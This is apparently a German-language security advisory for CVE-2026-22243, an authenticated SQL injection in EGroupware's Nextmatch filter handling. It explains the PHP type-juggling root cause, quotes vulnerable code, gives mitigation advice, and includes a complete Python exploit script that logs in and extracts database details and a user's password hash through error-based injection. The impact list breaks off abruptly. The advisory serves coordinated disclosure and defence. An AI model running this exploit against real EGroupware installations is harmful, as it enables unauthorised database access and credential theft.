
CVE-2026-22243 - EGroupware weist eine SQL-Injection in der Nextmatch-Filterverarbeitung auf.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-22243 |
| Schweregrad | HOCH |
| Advisory | Advisory ansehen |
| Entdeckt von | Lukasz Rybak |
Kritische authentifizierte SQL-Injection in der Filterverarbeitung des Nextmatch-Widgets
In den Kernkomponenten von EGroupware besteht eine kritische SQL-Injection-Schwachstelle, insbesondere in der Filterverarbeitung von Nextmatch. Der Fehler ermöglicht es authentifizierten Angreifern, beliebige SQL-Befehle in die WHERE-Klausel von Datenbankabfragen einzuschleusen. Dies wird erreicht, indem ein PHP-Type-Juggling-Problem ausgenutzt wird, bei dem die JSON-Dekodierung numerische Zeichenketten in Ganzzahlen umwandelt und so die von der Anwendung verwendete is_int()-Sicherheitsprüfung umgeht.
Ursachenanalyse
Die Schwachstelle liegt darin, wie die Datenbankabstraktionsschicht (Api\Db) und die übergeordneten Speicherklassen (Api\Storage\Base, infolog_so) das in „Nextmatch“-Widgets verwendete col_filter-Array verarbeiten.
Die Anwendung versucht, Eingaben mithilfe von is_int($key) zu validieren, um zu bestimmen, ob ein Array-Schlüssel ein rohes SQL-Fragment darstellt, dem vertraut werden sollte. Bei der Verarbeitung JSON-basierter POST-Anfragen konvertiert die PHP-Funktion json_decode jedoch automatisch numerische Zeichenkettenschlüssel (z. B. "0") in native Ganzzahlen.
Folglich kann ein Angreifer eine JSON-Nutzlast mit einem assoziativen Array senden, das numerische Schlüssel enthält. Die Anwendung interpretiert diese Schlüssel als Ganzzahlen (is_int gibt true zurück) und fügt die zugehörigen Werte – die bösartiges SQL enthalten – blind direkt an die Abfrage an.
Verwundbare Codestellen
sources/egroupware/api/src/Db.php (ca. Zeile 1776)
Methode: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (ca. Zeile 1134)
Methode: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
Ich habe diese Schwachstelle auf einer lokalen Docker-Instanz verifiziert und sie (nur lesend) auf Ihrer öffentlichen Demo-Instanz (demo.egroupware.net) bestätigt.
Automatisiertes Exploit-Skript: Das folgende Skript automatisiert den Login, die Extraktion der exec_id und die Datenexfiltration über fehlerbasierte SQL-Injection.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
Verifizierungsnachweis auf demo.egroupware.net:
Ich habe das Skript gegen Ihre öffentliche Demo ausgeführt, um die Ausnutzbarkeit in einer produktionsähnlichen Umgebung zu bestätigen (nur lesend).

Auswirkungen: Angreifer mit Zugriff mit geringen Privilegien können die Datenbank vollständig kompromittieren. Dies ermöglicht:
1. Eingabevalidierung (Whitelisting)
Verlassen Sie sich bei der Verarbeitung externer Eingaben nicht ausschließlich auf is_int() für Sicherheitsentscheidungen, insbesondere bei JSON-Daten, deren Schlüssel numerische Zeichenketten sein können. Implementieren Sie eine strenge Whitelist (Allowlist) der zulässigen Spaltennamen für die Filterung in Nextmatch-Widgets. Wenn der Schlüssel bzw. die Spalte nicht in der Whitelist enthalten ist, lehnen Sie die Anfrage ab.
2. Parameterbindung Stellen Sie sicher, dass alle Filterwerte als Parameter gebunden werden (Prepared Statements), anstatt direkt in die SQL-Zeichenkette konkateniert zu werden.
3. Strikte Typprüfung
Stellen Sie bei der Verarbeitung von JSON-Eingaben sicher, dass Schlüssel streng gegen die erwarteten Typen geprüft werden (z. B. mittels === für strikten Vergleich oder filter_var), bevor sie in der SQL-Generierungslogik verwendet werden.
Gemeldet von Łukasz Rybak
Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.